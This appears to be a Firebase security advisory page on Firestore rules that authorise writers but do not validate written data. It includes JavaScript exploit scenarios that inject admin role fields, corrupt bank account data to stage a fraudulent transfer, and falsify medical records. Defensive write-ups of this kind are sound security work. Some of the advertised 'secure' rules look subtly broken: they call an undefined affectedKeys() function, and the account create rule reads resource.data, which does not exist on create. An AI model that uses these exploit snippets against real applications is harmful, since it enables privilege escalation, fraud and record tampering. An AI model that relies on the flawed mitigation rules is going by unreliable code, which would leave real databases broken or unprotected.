Skip to content

Firebase Security Vulnerability: FBR-VALID-001

Name: Firestore Missing Write Data Validation Vulnerability

Applicable Services: Cloud Firestore, Firebase Realtime Database

Description

Technical Vulnerability Overview

The Technical Flaw: Security rules that only validate user authorization (who can write) without validating the actual data being written (what can be written) create opportunities for attackers to inject malicious fields, corrupt data integrity, and bypass application logic.

Intended Behavior: Security rules should act as a comprehensive server-side schema, validating not only access permissions but also the structure, types, and content of all incoming data to ensure it meets application requirements.

The Risk: Attackers can inject unauthorized fields, modify immutable data, write invalid data types, or violate business logic constraints, potentially leading to privilege escalation, data corruption, and security control bypass.

Impact

Potential Consequences

This vulnerability can lead to severe security and data integrity issues:

  • Privilege Escalation: Attackers can inject permission-controlling fields like 'role', 'isAdmin', or 'permissions' to grant themselves elevated access
  • Data Corruption: Invalid data types or formats can break application logic and cause system failures
  • Business Logic Bypass: Violation of application constraints can circumvent intended workflows and security controls
  • Immutable Field Modification: Critical system fields can be altered, breaking audit trails and security assumptions
  • Schema Pollution: Injection of unexpected fields can cause application errors and security vulnerabilities
  • Compliance Violations: Data integrity issues can violate regulatory requirements and audit standards

Example Attack Scenarios

Exploit Scenario: Privilege Escalation Through Role Injection

The Vulnerable Rule:

match /users/{userId} {
  allow write: if request.auth.uid == userId;
}

Attacker's Goal: To escalate privileges from regular user to administrator by injecting a role field.

The Exploit: A regular user modifies their profile to include admin privileges:

// Attacker is logged in as a regular user
const currentUser = firebase.auth().currentUser;

// Normal profile update that should be allowed
const legitimateUpdate = {
  name: 'John Doe',
  email: 'john@example.com',
  lastLogin: new Date()
};

// Malicious injection of privilege-escalating fields
const maliciousUpdate = {
  name: 'John Doe',
  email: 'john@example.com',
  lastLogin: new Date(),
  // INJECTED: Privilege escalation fields
  role: 'admin',
  isAdmin: true,
  permissions: ['read', 'write', 'delete', 'admin'],
  accessLevel: 'superuser',
  canApproveTransactions: true,
  departmentAccess: ['finance', 'hr', 'engineering']
};

try {
  // This write will be allowed due to missing validation
  await db.collection('users').doc(currentUser.uid).update(maliciousUpdate);
  console.log('Successfully injected admin privileges!');

  // Now access admin-only resources
  const adminPanel = await db.collection('admin_panel').get();
  console.log('Accessed admin panel:', adminPanel.docs.length, 'documents');

} catch (error) {
  console.error('Attack failed:', error);
}

Outcome: The attacker successfully injects admin privileges into their user document and can now access administrative functions throughout the application.

Exploit Scenario: Financial Data Corruption and Fraud

The Vulnerable Rule:

match /accounts/{accountId} {
  allow write: if resource.data.ownerId == request.auth.uid;
}

Attacker's Goal: To manipulate financial data by injecting invalid fields and corrupting transaction integrity.

The Exploit: An attacker corrupts their account data to bypass financial controls:

// Attacker accesses their account document
const accountId = 'account-123';

// Malicious data injection with type confusion and constraint violations
const corruptedData = {
  // Normal fields
  accountNumber: '1234567890',
  accountType: 'checking',

  // MALICIOUS: Type confusion attacks
  balance: 'unlimited',  // String instead of number
  creditLimit: null,     // Null to bypass limit checks

  // MALICIOUS: Business logic bypass
  overdraftProtection: true,
  overdraftLimit: Number.MAX_SAFE_INTEGER,

  // MALICIOUS: Audit trail corruption
  lastTransactionId: {},  // Object instead of string
  transactionHistory: 'cleared',  // String instead of array

  // MALICIOUS: Feature flag injection
  premiumFeatures: true,
  feeWaiver: true,
  unlimitedTransfers: true,

  // MALICIOUS: Timestamp manipulation
  accountCreated: new Date('1970-01-01'),  // Historical date
  lastVerification: new Date('2099-12-31'), // Future date

  // MALICIOUS: Permission injection
  canTransferToExternal: true,
  maxDailyTransfer: 999999999,
  requiresApproval: false
};

try {
  await db.collection('accounts').doc(accountId).update(corruptedData);
  console.log('Successfully corrupted account data!');

  // Attempt fraudulent transaction with corrupted data
  const fraudulentTransfer = await db.collection('transactions').add({
    fromAccount: accountId,
    toAccount: 'external-bank-456',
    amount: 1000000,  // Large amount
    type: 'transfer',
    timestamp: new Date()
  });

  console.log('Fraudulent transaction created:', fraudulentTransfer.id);

} catch (error) {
  console.error('Corruption attempt failed:', error);
}

Outcome: The attacker corrupts their account data with invalid types and unauthorized permissions, potentially enabling fraudulent transactions and bypassing financial controls.

Exploit Scenario: Healthcare Record Manipulation

The Vulnerable Rule:

match /medical_records/{recordId} {
  allow write: if resource.data.patientId == request.auth.uid;
}

Attacker's Goal: To manipulate medical records by injecting false data and corrupting medical history.

The Exploit: A patient modifies their medical records to hide medical history or inject false information:

// Patient accesses their medical record
const recordId = 'medical-record-789';

// Malicious medical record manipulation
const falsifiedRecord = {
  // Normal fields that should be immutable
  patientId: 'patient-123',
  recordDate: new Date(),

  // MALICIOUS: Critical field manipulation
  bloodType: 'O+',  // Changed from actual type
  allergies: [],    // Cleared critical allergy information

  // MALICIOUS: Medical history falsification
  chronicConditions: [],  // Cleared diabetes, hypertension
  currentMedications: [], // Cleared all medications
  surgicalHistory: [],    // Cleared previous surgeries

  // MALICIOUS: Insurance fraud preparation
  treatmentCost: 0,
  insuranceCovered: true,
  copayAmount: 0,

  // MALICIOUS: Legal record tampering
  consentGiven: true,
  legalGuardian: null,
  mentalCapacity: 'full',

  // MALICIOUS: Provider credential injection
  attendingPhysician: 'patient-123',  // Self as doctor
  approvedBy: 'patient-123',
  medicalLicense: 'FAKE-LICENSE-123',

  // MALICIOUS: Audit trail corruption
  lastModifiedBy: 'system-admin',
  modificationReason: 'routine-update',
  auditTrail: 'cleared'
};

try {
  await db.collection('medical_records').doc(recordId).update(falsifiedRecord);
  console.log('Successfully falsified medical record!');

  // Access other medical functions with corrupted data
  const prescriptions = await db.collection('prescriptions')
                              .where('patientId', '==', 'patient-123')
                              .get();

  console.log('Accessing prescriptions with falsified data');

} catch (error) {
  console.error('Medical record tampering failed:', error);
}

Outcome: The attacker successfully falsifies their medical records, potentially endangering their health through hidden medical conditions and enabling insurance fraud.

Mitigation

The vulnerability is resolved by implementing comprehensive data validation that acts as a server-side schema, validating both the structure and content of all write operations.

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // VULNERABLE: No data validation
    match /users/{userId} {
      allow write: if request.auth.uid == userId;
    }

    // VULNERABLE: Missing field validation
    match /accounts/{accountId} {
      allow write: if resource.data.ownerId == request.auth.uid;
    }

    // VULNERABLE: No type checking
    match /medical_records/{recordId} {
      allow write: if resource.data.patientId == request.auth.uid;
    }
  }
}
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // Helper functions for validation
    function isValidEmail(email) {
      return email is string && email.matches('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$');
    }

    function isValidUserData() {
      let data = request.resource.data;
      return data.keys().hasAll(['name', 'email', 'createdAt']) &&
             data.keys().hasOnly(['name', 'email', 'createdAt', 'lastLogin', 'preferences']) &&
             data.name is string &&
             data.name.size() >= 1 && data.name.size() <= 100 &&
             isValidEmail(data.email) &&
             data.createdAt is timestamp &&
             (!('lastLogin' in data.keys()) || data.lastLogin is timestamp) &&
             (!('preferences' in data.keys()) || data.preferences is map);
    }

    // SECURE: Comprehensive user data validation
    match /users/{userId} {
      allow create: if request.auth.uid == userId &&
                      isValidUserData() &&
                      request.resource.data.createdAt == request.time;

      allow update: if request.auth.uid == userId &&
                      // Prevent modification of critical fields
                      request.resource.data.email == resource.data.email &&
                      request.resource.data.createdAt == resource.data.createdAt &&
                      // Only allow specific fields to be updated
                      affectedKeys().hasOnly(['name', 'lastLogin', 'preferences']) &&
                      request.resource.data.name is string &&
                      request.resource.data.name.size() >= 1 &&
                      request.resource.data.name.size() <= 100;
    }

    // SECURE: Financial account validation
    match /accounts/{accountId} {
      allow create: if resource.data.ownerId == request.auth.uid &&
                      request.resource.data.keys().hasAll(['accountNumber', 'accountType', 'balance', 'ownerId']) &&
                      request.resource.data.keys().hasOnly(['accountNumber', 'accountType', 'balance', 'ownerId', 'createdAt']) &&
                      request.resource.data.accountNumber is string &&
                      request.resource.data.accountNumber.size() == 10 &&
                      request.resource.data.accountType in ['checking', 'savings'] &&
                      request.resource.data.balance is number &&
                      request.resource.data.balance >= 0 &&
                      request.resource.data.ownerId == request.auth.uid &&
                      request.resource.data.createdAt == request.time;

      allow update: if resource.data.ownerId == request.auth.uid &&
                      // Prevent modification of immutable fields
                      request.resource.data.accountNumber == resource.data.accountNumber &&
                      request.resource.data.accountType == resource.data.accountType &&
                      request.resource.data.ownerId == resource.data.ownerId &&
                      request.resource.data.createdAt == resource.data.createdAt &&
                      // Only allow balance updates within reasonable limits
                      affectedKeys().hasOnly(['balance', 'lastTransaction']) &&
                      request.resource.data.balance is number &&
                      request.resource.data.balance >= 0 &&
                      request.resource.data.balance <= 1000000; // Reasonable limit
    }

    // SECURE: Medical record validation with immutable critical fields
    match /medical_records/{recordId} {
      allow update: if resource.data.patientId == request.auth.uid &&
                      // Critical immutable fields
                      request.resource.data.patientId == resource.data.patientId &&
                      request.resource.data.bloodType == resource.data.bloodType &&
                      request.resource.data.recordDate == resource.data.recordDate &&
                      request.resource.data.attendingPhysician == resource.data.attendingPhysician &&
                      // Only allow patient-editable fields
                      affectedKeys().hasOnly(['emergencyContact', 'preferences', 'lastUpdated']) &&
                      request.resource.data.emergencyContact is string &&
                      request.resource.data.lastUpdated == request.time;
    }
  }
}

Write Validation Best Practices

Comprehensive Field Validation: Always validate both the presence and absence of fields using keys().hasAll() and keys().hasOnly() to prevent field injection.

Data Type Enforcement: Use strict type checking with is string, is number, is timestamp, etc., to prevent type confusion attacks.

Immutable Field Protection: Preserve critical fields by comparing new values with existing values:

request.resource.data.userId == resource.data.userId &&
request.resource.data.createdAt == resource.data.createdAt

Size and Format Constraints: Implement appropriate limits and patterns:

data.name.size() >= 1 && data.name.size() <= 100 &&
data.email.matches('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$')

Helper Functions for Complex Validation: Use functions to maintain readable and reusable validation logic:

function isValidUserData() {
  return /* validation logic */;
}

Range and Business Logic Validation: Enforce business constraints:

data.balance >= 0 && data.balance <= 1000000 &&
data.accountType in ['checking', 'savings']

References